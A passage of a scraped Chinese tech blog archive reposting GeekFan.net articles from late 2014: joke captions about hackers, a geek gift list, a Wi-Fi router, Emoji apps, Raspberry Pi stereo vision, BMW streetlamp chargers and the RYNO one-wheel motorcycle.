[![hack16](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bfd084bab6_349b9fa820f69f00bcba90874ed9040d.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bfd084bab6_349b9fa820f69f00bcba90874ed9040d.jpg "如何成为一名黑客")17\. 别看错了,这些是黄牛党,不是黑客 # [![hack17](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/38d183eab1_caf6dca57f71ee89af43cc81eeb4499e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/38d183eab1_caf6dca57f71ee89af43cc81eeb4499e.jpg "如何成为一名黑客")18\. 这位一看就是黑客新手,很不专业 # [![hack18](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ec5c11f26b_bdb74f039dbdaa5252b535649918c757.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ec5c11f26b_bdb74f039dbdaa5252b535649918c757.jpg "如何成为一名黑客")19\. 看看我,我可是在航天器里执行黑客任务 # [![hack19](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/31760153c5_6b12a99812d99cac5645c18b53a7329a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/31760153c5_6b12a99812d99cac5645c18b53a7329a.jpg "如何成为一名黑客")20\. 我的神呀,这个狐狸也是黑客 # [![hack20](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/68f192e76f_e64d7ee512f020f68c728c9868cea2bc.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/68f192e76f_e64d7ee512f020f68c728c9868cea2bc.jpg "如何成为一名黑客")21\. 只有真的黑客能理解这张图 # [![hack21](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5d0678d5de_e39521fe7c7dd39c3d34dce0da2e78f5.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5d0678d5de_e39521fe7c7dd39c3d34dce0da2e78f5.jpg "如何成为一名黑客")22\. 恭喜!你终于成为一名黑客了 # [![hack22](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d38bb17c9e_c259801cb787c5fc524f64a1c2906d13.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d38bb17c9e_c259801cb787c5fc524f64a1c2906d13.jpg "如何成为一名黑客")23\. 开启你的黑客新生活吧! [![hack23](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b0d355f3da_39c2c0ec0a509e284f90edbfe6bafb69.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b0d355f3da_39c2c0ec0a509e284f90edbfe6bafb69.jpg "如何成为一名黑客") [如何成为一名黑客](http://www.geekfan.net/13421/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 专为极客打造的19件礼物 Date: 2014-12-08 URL: https://blog.wo.ai/archives/827 Categories: Uncategorized [![geeky_gift](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b7d04adea4_ccebe503cfd40957b134e413e18e3b80.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b7d04adea4_ccebe503cfd40957b134e413e18e3b80.jpg "专为极客打造的19件礼物")这个月底就是圣诞节了,如果你有极客朋友的话,下面这19种礼物一定会让他们兴奋异常。来看看这些由[BuzzFeed](http://www.buzzfeed.com/kellyoakes/gifts-that-only-science-geeks-will-fully-appreciate)评选出的创意惊人的礼物吧。 ## 1\. 元素周期表切菜板 [![chopping_board](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/55cb49e63e_a5a5eed2f5d301b92c3769cff532af9e-1024x512.png)](http://www.geekfan.net/wp-content/uploads/a5a5eed2f5d301b92c3769cff532af9e.png "专为极客打造的19件礼物")给那些喜欢做菜的化学家们准备的,当然,最好他/她做菜时也有个周期。 ## 2\. 微生物十字绣 [![microbe](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/aa684d2c4d_68ea1081b65f04d631e5b4a1f0d1e8c4.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/aa684d2c4d_68ea1081b65f04d631e5b4a1f0d1e8c4.jpg "专为极客打造的19件礼物")这些微生物的图案都是从多种疾病中选出来的,有的比较可怕,比如天花、霍乱,还有一些经典的日常疾病,比如普通的感冒。医学专业,病理专业的人应该不会陌生。 ## 3\. 迷你型大脑肥皂 [![brain](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2435eb20cb_8b373710bcf876edd91f281e50ed58ab.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2435eb20cb_8b373710bcf876edd91f281e50ed58ab.jpg "专为极客打造的19件礼物")邀请你的神经学专家朋友来家里做客吧,让他用一下洗手间,效果应该很惊艳。“捡肥皂”这个段子也许会被改写哦。 ## 4\. 动物外形盛酒器 [![wine_o_saur](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0fb39d21e3_dd154a207422af586079dc5b89a997a3.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0fb39d21e3_dd154a207422af586079dc5b89a997a3.jpg "专为极客打造的19件礼物")喜欢动物的人不要错过了。 ## 5\. 航天主题的婴儿连体衣 [![baby](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f99d8fca2d_6848d756da66e55b42f79c0728e351ad-1024x752.png)](http://www.geekfan.net/wp-content/uploads/6848d756da66e55b42f79c0728e351ad.png "专为极客打造的19件礼物")航天员要从娃娃抓起,早点买装备吧。 ## 6\. 多巴胺项链 [![necklace](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f7487a8b60_bb7409e82cb01b88edc816a6b2f3ec7d.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f7487a8b60_bb7409e82cb01b88edc816a6b2f3ec7d.jpg "专为极客打造的19件礼物")让别人瞧瞧你的多巴胺level有多高 ## 7\. 双螺旋吊饰 [![double_helix](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ae60f60592_7f60b20c5b3f84deaaa878cbbcf0fa45.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ae60f60592_7f60b20c5b3f84deaaa878cbbcf0fa45.jpg "专为极客打造的19件礼物")研究生物学的人不会陌生。 ## 8\. 恐龙盆栽 [![盆栽](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eb40fb00a7_7cbcd6e152dd84211b1f29535c856fd6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eb40fb00a7_7cbcd6e152dd84211b1f29535c856fd6.jpg "专为极客打造的19件礼物")不要质疑,买它就对了! ## 9\. 显微镜项链 [![项链](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/25622151c6_8a0c8f54e6425199e845d0d55875ec7a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/25622151c6_8a0c8f54e6425199e845d0d55875ec7a.jpg "专为极客打造的19件礼物")把这个送给那些想看到更加细小物体的人应该不错。 ## 10\. 科普书籍 [![books](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b210531288_7d8949bcbf85067fceda9f84a6affb6b-1024x747.png)](http://www.geekfan.net/wp-content/uploads/7d8949bcbf85067fceda9f84a6affb6b.png "专为极客打造的19件礼物")有些诗也可以印在科普读物上。 ## 11\. 钥匙环上的植物培养器 [![keyring](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/faef22b03d_db97947680583bc7a41a7dbed02b2790.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/faef22b03d_db97947680583bc7a41a7dbed02b2790.jpg "专为极客打造的19件礼物")记得每个月给植物浇点水哦。 ## 12\. 元素T-shirt [![t-shirt](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/919c051f7e_7cc481e3eab24b4ef9ccc945c00f7784.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/919c051f7e_7cc481e3eab24b4ef9ccc945c00f7784.jpg "专为极客打造的19件礼物")化学家人手一件 ## 13\. 有机物咖啡杯 [![mug](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1873667aa1_4c032833c7118276e83ee90998ba47cf.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1873667aa1_4c032833c7118276e83ee90998ba47cf.jpg "专为极客打造的19件礼物")填满最爱的咖啡因吧。 ## 14\. 爱因斯坦项链 [![einstein](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cce3e52dff_37a08ed30093a133b1bb4ae0b8f3601f.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cce3e52dff_37a08ed30093a133b1bb4ae0b8f3601f.jpg "专为极客打造的19件礼物")告诉别人你正处在他的波长之上。 ## 15\. 螳螂虾项链 [![mantis](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b29576db26_8968003a7c9ebf7be85fce9045ffbee2-1024x512.png)](http://www.geekfan.net/wp-content/uploads/8968003a7c9ebf7be85fce9045ffbee2.png "专为极客打造的19件礼物")包装的时候要注意,别让它跑出来了 ## 16\. 科普海报 [![poster](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d3e1437b67_49e20b8766c85b92858bdf473be281af.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d3e1437b67_49e20b8766c85b92858bdf473be281af.jpg "专为极客打造的19件礼物")又好看又有用 ## 17\. π形开瓶器 [![pi](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d3badc40bd_72ab8af56bddab33b269c5964b26620a.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d3badc40bd_72ab8af56bddab33b269c5964b26620a.png "专为极客打造的19件礼物")用派(和π同音)打开的东西味道会更好。 ## 18\. 星系棒棒糖 [![lol](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/11e287afd8_9cdfb439c7876e703e307864c9167a15.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/11e287afd8_9cdfb439c7876e703e307864c9167a15.jpg "专为极客打造的19件礼物")它们不属于我们这个世界。 ## 19\. 手提袋 [![bag](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/46902207f0_4a82715423d654d61838e81060a4cdf1.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/46902207f0_4a82715423d654d61838e81060a4cdf1.jpg "专为极客打造的19件礼物") 请忽略图案中对原子的不严谨描述。 [专为极客打造的19件礼物](http://www.geekfan.net/13371/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Keewifi 无线路由:靠近我,我就给你 Wi-Fi Date: 2014-12-07 URL: https://blog.wo.ai/archives/826 Categories: Uncategorized [![Keewifi](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/302425e478_7c6e839805aae2dd020a0a9aaf6f894e.jpg)生活不能没有 Wi-Fi ,那自然不能没有无线路由。出于安全考虑,设置 Wi-Fi 密码的时候你可能要结合字母符号和数字。这么一来你的密码会变得长而复杂。试想下,当有客人来做客并向你要密码,这时候会选择将一长串的密码报给他,还是拿过对方的手机直接输入呢?](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/302425e478_7c6e839805aae2dd020a0a9aaf6f894e.jpg "Keewifi 无线路由:靠近我,我就给你 Wi-Fi") [![wifi1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7ef06ba81c_d2a2c01cb201c75059b4337d9e8325e5.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7ef06ba81c_d2a2c01cb201c75059b4337d9e8325e5.jpg "Keewifi 无线路由:靠近我,我就给你 Wi-Fi")Keewifi 和一般的无线路由器有点不同,它不需要通过输入密码来让设备接入无线网络。更不用在电脑上打开路由器的设置页进行设置,它将一切都简化了——你只需要把它插上电源和网线,Keewifi 就开始运作。当一个设备需要接入网络,只要将它靠近 Keewifi ,就能在几秒内完成识别和授权。不过当然,你也可以把它设置成密码接入模式。 [![wifi2](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ac4610fe9d_1bfdfaef43cb8cd63c7a004b39a3d476.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ac4610fe9d_1bfdfaef43cb8cd63c7a004b39a3d476.jpg "Keewifi 无线路由:靠近我,我就给你 Wi-Fi") Keewifi 还拥有一个波束形成技术,它可以根据接入设备所在的方位来调整信号强度,而不是像传统路由那样无差别地发散信号。此外按下 Keewifi 上的 Zen 按钮,路由器会自动开启检测,如果发现有其他 Wi-Fi 干扰了信号,它就会自动切换到占用低的频段,从而优化你的网络环境。 目前团队还在开发相关的 app ,项目也在 [Kickstarter](https://www.kickstarter.com/projects/133046260/keewifi-router-tap-to-connect-30-second-setup?ref=category_recommended) 上众筹,预计在明年 7 月出货。 [Keewifi 无线路由:靠近我,我就给你 Wi-Fi](http://www.geekfan.net/13365/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Emoji 翻译器:表情社交的黄金伴侣 Date: 2014-11-28 URL: https://blog.wo.ai/archives/824 Categories: Uncategorized [![186pjolmz9xl9jpg_meitu_1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ef19b4fcb1_d972f47c5bbcf8121e4e9da6b67bf775.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ef19b4fcb1_d972f47c5bbcf8121e4e9da6b67bf775.jpg "Emoji 翻译器:表情社交的黄金伴侣") Emoji 表情俨然快要成为一种新语言了,各类社交网络上,人们用 Emoji 恶搞、聊天、表达感情……甚至出现了这样一个群体,他们完全用 Emoji 表情进行交流,Emoji 就是他们全部的文字。 Emoji 并不同于一般的贴图或符号表情,它的简单性、多样性和拟物化使得它具有更强的可玩性,传播广而快。《火星文还是颜文字?不,Emoji》就分析说: > Emoji 和 QQ 表情、微信表情以及论坛里的表情不同的是,Emoji 里包含的符号不光只是用来表达情绪,那些鲜花、建筑、海浪等等与现实世界有对应关系的符号,构成一种比较严谨的符号体系。这让 Emoji 超越了一般表情的表达能力,让它得以构成一种特殊的语言,更重要的是,相比起火星文来说,Emoji 更加容易被人理解。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/41fd696112_6941baebgw1emqn0vt2j5j20m608mwey.jpg) Emoji 的流行也催生了一些输入工具,比如 Emojimo,它是一个 Emoji 表情“翻译器”。一般而言,想要输入 Emoji,你要在表情框中挨个儿查找,插入文字。 Emojimo 的输入方式比较直接:实时翻译。在你输入某个词后,它会自动变成 Emoji 表情,比如输入“see”,输入法直接给出一双眼睛的表情。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3dd787fe94_6941baebgw1emqn0wsh7sg20dw09sdoc.gif) 当然,Emojimo 也不会把你输入的每一个词都翻译出来,大部分情况下,你打出的文本同时夹杂着文字和 Emoji 表情。 如果你不适应实时翻译,也可以选择“事后翻译”,在输入完成一段话中,用 Emojimo 一键转换成表情语言。这个过程也可以逆向,他人发来的文本如果包含 Emoji,而你无法理解透彻,Emojimo 也可以一键翻译成正常语言。只不过,由于 Emoji 本身没有语法和语序规则,包含着人的主观理解,所以翻译的准确度有所限制。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8db850eb33_6941baebgw1emqn0xo8bmj20xc0tnacz.jpg) 为 Emoji 而生的表情不止有 Emojimo,另一款 Emojiyo 键盘同样让人方便输入。不同的是,它提供的是单词和词组的 Emoji 建议选项,而不是直接翻译。 对于 Emoji 的流行,人们的反应不一,有人认为它有成为下一个“全球语言”的潜力,有人认为表情仅仅是表达情感的辅助方式。不管争论如何,一个事实是,Emoji 并没有像某些贴图表情一样仅仅“红极一时”,而是保持了旺盛的生命力,这也让围绕着 Emoji 而生的各类应用有了生存空间,让 Emoji 的玩法更加丰富。 [Emoji 翻译器:表情社交的黄金伴侣](http://www.geekfan.net/13285/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 树莓派上的立体视觉和深度知觉 Date: 2014-11-13 URL: https://blog.wo.ai/archives/817 Categories: Uncategorized 随着树莓派超低成本的计算模块的发布(请看see www.raspberrypi.org/raspberry-pi-compute-module-new-product/),依赖于树莓派简单的编程环境,简单硬件扩展和丰富的开发资源,使我们利用树莓派创造大量的产品变得可能, Pi具有强大的多媒体处理能力,但是因为通常在Pi上编程比较简单直接,最大限度的利用其多媒体系统和为它的VideoCore模块编程是较复杂的。 Argon Design精通于在此类系统上的编程,并且可以优化树莓派上的多媒体算法。为了评测计算模块的能力,展示我们的技能,我们设计了本次展示。 [![4784dd56c9ba9956688de933a7da5e28f3aaca](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/03a44d2d65_bb43518a12e45b1722b79f2e4eaed43e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/03a44d2d65_bb43518a12e45b1722b79f2e4eaed43e.jpg "树莓派上的立体视觉和深度知觉") 这次展示是关于立体深度感知-利用两个放置位置具有一定间距的摄像机,从不同的视角拍摄物体来获取深度信息。与此同时这还使用了树莓派计算模块的另一个令人兴奋的特性,那就是它支持双摄像头(标准树莓派仅仅支持单一摄像头) ###立体深度感知 —————————– 深度感知方面的文献中记录了很多好的算法。它们中很多使用了相同的视频压缩算法,Argon Design在这个领域有丰富的经验。都是基于把图像分成块,对于每幅图像中的每个块,在另外的一个或多个图片中搜索“匹配”的块。 [![ff455f208354e1f0bb9409215c070994143130](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/10f7daeb3f_064f28bf8487454b0abb406bf370fa57.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/10f7daeb3f_064f28bf8487454b0abb406bf370fa57.jpg "树莓派上的立体视觉和深度知觉") 然而,与视频压缩相比,深度知觉需要更加可靠的结果。文献中还记载了很多改善输出的基本算法。因为这只是一个概念验证,所以我们的标准是选择那些不需要花费太长时间去实现的改进算法,这些算法不需要很大的计算量并且可以给出相当好的改善结果。基于块的视频压缩和我们最终的算法之间最基本的差别在于: – 对比两个间距已知的摄像机同时拍摄的两幅图片。这表示我们在测量视差,我们可以通过它来得到摄像机和物体的间距。对于视频压缩我们则会去对比同一个摄像机在不同时期拍摄的几幅图片,所以这种算法意在测量运动。 – 假设摄像机都是水平对齐的。这使得二维搜索降低到一维,节省了大量的处理时间。这需要对摄像机进行校准,不过我们可以使用已知的方法来进行校准,人工的或者自动的都可以。 [![45353b9302a24a1e55a0cd8b44ce50b9195aff](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5527b88ab8_eeb5a05a634e6d76a5e8858e51a93ba9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5527b88ab8_eeb5a05a634e6d76a5e8858e51a93ba9.jpg "树莓派上的立体视觉和深度知觉") – 使用更加准确(但是更加耗时)的方法来测量两块之间的相关性,基于如下两篇文章: – [1]. Heiko Hirschmüller, “Improvements in Real-Time Correlation-Based Stereo Vision” CVPR 2001 – [2]. Olivier Faugeras et al, “Real t ime correlation-based stereo: algorithm, implementations and applications” INRIA 1993 特别的,我们决定结合使用[2] 中的”C5″相关方程(“C5″ correlation function)和[1]中提到的多窗口方案(multi-window scheme)。总的来讲,我们的程序既可以使用5×5窗口方案或是7×7方案。7×7的方案计算时间更长但是也会稍微准确一些。 ###性能 —————————— 使用了三种不同版本的实现方式: – 原始版本使用Python和NumPy,用以评价其他方案的准确性。 – 使用C语言的版本,在变换中尽可能多的使用算法来增强效果。最大的改进来自于通过仔细的安排代码来避免冗余的计算,我们也使用了一个自定义的排序网络来替代通用排序算法(多窗口方案使用的算法),速度提高了大概4倍。 – 使用VideoCore的视频处理单元(VPU)的汇编程序,使用了C版本的结构但是利用了VPU的架构特性(比如说它的16路向量单元(16-way vector unit )和16KB的处理器局部储存器(processor-local memory) [![fda3ed7ee2b4eeb153b49d40e45bdfb5b856c8](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cd3758344a_917e1d6a93af64f6cb48cf57f2988726.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cd3758344a_917e1d6a93af64f6cb48cf57f2988726.jpg "树莓派上的立体视觉和深度知觉") 一个中等大小(768×576像素)的图像,在不同版本下的处理时间大概是: – Python, on x86 (~3GHz): 63 seconds – Python,x86平台(~3GHz):63秒 – C, on x86 (~3GHz): 56 milliseconds – C,x86平台(~3GHz):56毫秒 – C, on Pi ARM core (700MHz): 1 second – C, 树莓派ARM内核(700MHz): 1 秒 – Assembler on VideoCore VPU (250MHz): 90 milliseconds – 汇编,VideoCore视频处理单元 (250MHz):90毫秒 请注意VideoCore版本仅仅比x86平台上的C版本耗时长大约50%,而x86平台比VideoCore的时钟速度快了12倍。 我们还编写了一个演示程序,它会从两个摄像机获取图像,处理他们并且把计算得出的深度数据以彩色的方式显示。**摄像机的处理和展示会添加少量的补偿,来对我们减小图像尺寸到VGA (640×480)进行补偿** 。 最终的帧速率是12fps。对于概念验证已经足够,同时在某种程度上展示了图像处理工作,而且我们可以用比较合理的开发速度在树莓派上实现它。 ###应用 我们创建的示例程序可以以下面三种不同的方式进行展示 – 仅显示摄像机原始图像 – 把视差数据转换为彩色数据并覆盖在图像上 – 把距摄像机某个距离上的所有点全部移除 结果的截图如下,同时还有一些用到的设备的照片。 [![784de1bb92719537f2c0b93a1815d78850348e](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f5e60de648_03b5898a4f5b4ccc5e44f27da03dc73c.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f5e60de648_03b5898a4f5b4ccc5e44f27da03dc73c.jpg "树莓派上的立体视觉和深度知觉") 然而,能做的不仅仅只有这些,还包括: – 把两个或多个摄像机的图片缝合形成全景图 – **Argon之前做过的一个项目是使用扩展卡尔曼滤波(Extended Kalman Filter)来分离摄像机的运动和一个场景中物体的运动。** 结合这些可以生成某个环境的动态的3D地图。 – 展示程序中的背景一处会切掉物体的一部分,这个问题可以结合边缘检测滤波的结果来进行补救。 – 这一算法非常适合在FPGA上执行,因为大多数的计算都可以并行工作。因此上面介绍的任何东西都可以轻松的**提高** 到实时处理1080p30或4K视频。 ###使用到的技能 [软件工程](http://www.argondesign.com/what-we-do/#software_engineering), [处理器架构](http://www.argondesign.com/what-we-do/#processor_architectures), [算法及运算](http://www.argondesign.com/what-we-do/#algorithms_mathematics), [图像处理](http://www.argondesign.com/what-we-do/#image_processing), [多媒体](http://www.argondesign.com/what-we-do/#multimedia ) [树莓派上的立体视觉和深度知觉](http://www.geekfan.net/13022/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 除了照明,这路灯还能给电动车充电 Date: 2014-11-13 URL: https://blog.wo.ai/archives/816 Categories: Uncategorized [![129](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/514d6c5ef1_d1f491a404d6854880943e5c3cd9ca25.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/514d6c5ef1_d1f491a404d6854880943e5c3cd9ca25.jpg "除了照明,这路灯还能给电动车充电") 充电时间长、充电站少、续航不给力,这是消费者入手电动车主要的顾虑。汽车厂商们一面努力提升电动车的性能,一面也在想方设法推动充电站的普及。 而为了让更多的人对电动车产生购买欲,宝马在随处可见的路灯上做起了文章,该公司将充电站整合进了路灯中,推出了 Light and Charge 原型。 近日,宝马将 2 个 Light and Charge 路灯安装在慕尼黑宝马总部门前,日后这种路灯有望推广到德国其他的城市。 [![47](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5ef68dbcfd_67c6a1e7ce56d3d6fa748ab6d9af3fd7.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5ef68dbcfd_67c6a1e7ce56d3d6fa748ab6d9af3fd7.jpg "除了照明,这路灯还能给电动车充电") Light and Charge 路灯将发光二极管与 ChargeNow 充电技术结合起来,并接入当地现有的道路照明基础设施里。除了宝马旗下的 i3、i8 电动车外,其他品牌的电动车也能使用 Light and Charge 路灯。宝马此举是为了更快地推广相关技术,加速电动车的普及。 [![218](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/07805fe67b_e96ed478dab8595a7dbda4cbcbee168f.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/07805fe67b_e96ed478dab8595a7dbda4cbcbee168f.jpg "除了照明,这路灯还能给电动车充电") “如果我们希望未来会有更多的电动车在路上奔跑,那么无缝充电设施就显得非常必要。”宝马管理董事会成员 Peter Schwarzenbauer 谈到。 [![54](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3ba4d75b93_a684eceee76fc522773286a895bc84361.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3ba4d75b93_a684eceee76fc522773286a895bc84361.jpg "除了照明,这路灯还能给电动车充电") 不过,Light and Charge 路灯并非免费为司机服务,后者需要通过手机 app 支付相应的充电费用。至于充电效率如何,宝马尚未给出答复。 宝马在充电技术上的探索动作频频。9 月份,该公司推出了比 i Wallbox Pure 更加智能的充电器 i Wallbox Pro。此外,宝马已与戴姆勒签署合作协议,将共同研发新一代无线感应充电标准化技术——司机只需将车开到充电器位置,然后按下车上的专用按钮即可充电。 今年 8 月,宝马在慕尼黑宝马博物馆旁安装了太阳能充电站 Point.One S。该充电站的外形类似一个拱形的鸟翼,以太阳能板作为顶棚,内部基于 LED 的电气照明系统可以跟用户进行交互式体验。Point.One S 靠收集太阳能为汽车充电,同时也将平日不用的能量重新输送回输电网。 [![1112](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6f66b41015_20d135f0f28185b84a4cf7aa51f295001.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6f66b41015_20d135f0f28185b84a4cf7aa51f295001.jpg "除了照明,这路灯还能给电动车充电") [除了照明,这路灯还能给电动车充电](http://blog.wo.ai/archives/816),首发于[极客范 ](http://www.geekfan.net)。 --- ## 骑上这只轮子,其他交通工具都黯然失色 Date: 2014-11-11 URL: https://blog.wo.ai/archives/814 Categories: Uncategorized [![141552197631](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3c85ccc8c4_d2171db49d78e8c78749768e5b3392fb.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3c85ccc8c4_d2171db49d78e8c78749768e5b3392fb.png "骑上这只轮子,其他交通工具都黯然失色") 独轮车是一种短距离交通解决方案,近一两年走入大家视野,但骑上这款,可不止代步那么简单! 外形威猛似擎天柱,动力强悍如大黄蜂,小造(trendmakers)真想用世上最彪悍的词语来形容这款颇具科幻色彩的电动独轮摩托车。 [![0](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d6ac5ad616_cfcd208495d565ef66e7dff9f98764da4.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d6ac5ad616_cfcd208495d565ef66e7dff9f98764da4.png "骑上这只轮子,其他交通工具都黯然失色") 电动独轮摩托车名为 RYNO,由波特兰摩托车制造商 RYNO Motors 今年推出,据说开发需求来自他家老板的女儿,女儿在游戏里看到一款摩托车感觉很酷,爸爸于是经过5年研发创造了了 RYNO。 [![0 \(1\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6723346eca_c2eb282156233b5d827219971c8b04c26.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6723346eca_c2eb282156233b5d827219971c8b04c26.png "骑上这只轮子,其他交通工具都黯然失色") RYNO 主要部分就是一个25英寸(约合63.5厘米)摩托车轮胎,重量为57公斤,虽然通过电力驱动,最高时速也可达40km/h。 [![0 \(2\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b8a09201f_dfbffab08ce62ec457a6c2cf7f55e76c1.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b8a09201f_dfbffab08ce62ec457a6c2cf7f55e76c1.png "骑上这只轮子,其他交通工具都黯然失色") 其内置了一块可拆卸的锂离子电池,一次充电需 90 分钟,充电1000次以上没问题。RYNO 可以应付最高30度斜坡,在地势较高地区也可以正常使用。 [![0 \(3\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9665a6e7a8_6085db41848be6eb82c26abd7b0d0c03.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9665a6e7a8_6085db41848be6eb82c26abd7b0d0c03.png "骑上这只轮子,其他交通工具都黯然失色") RYNO 只能坐一个人,最大载重仅为113公斤,这就是一个轮子的代价呀!带女友去兜风正常体位就甭想啦,除非你们能发掘个新姿势。 [![0 \(4\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b181acc823_cb4ececddcb4517ca0bcddafd23813b9.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b181acc823_cb4ececddcb4517ca0bcddafd23813b9.png "骑上这只轮子,其他交通工具都黯然失色") 单个轮子操作平衡一定是难度最大的,但 RYNO 采用独有的自平衡技术,操作方式也和普通电动独轮车相同,前倾加速,后倾减速,即使驾驶者身体倾斜幅度过大也能保持平衡。 [![0 \(5\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/35ab845fa7_e59253548ffcb090ecc0cd0944afd27f.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/35ab845fa7_e59253548ffcb090ecc0cd0944afd27f.png "骑上这只轮子,其他交通工具都黯然失色") RYNO 的通途十分广泛:可以用来公园遛弯散心;也可以开着它进电梯然后直奔办公桌;最主要的还是骑着它刷街、勾搭妹子神马的,绝对是神器中的神器! [![0 \(6\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/600c92e929_d9031cb6e11a8245e8245c9ed74ea9ea.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/600c92e929_d9031cb6e11a8245e8245c9ed74ea9ea.png "骑上这只轮子,其他交通工具都黯然失色") 如此扮酷耍帅的独轮电动摩托车当然价格也不会太亲民,不然如何彰显其逼格范,目前其官网售价为2250英镑,约是咱天朝货币22029元~ 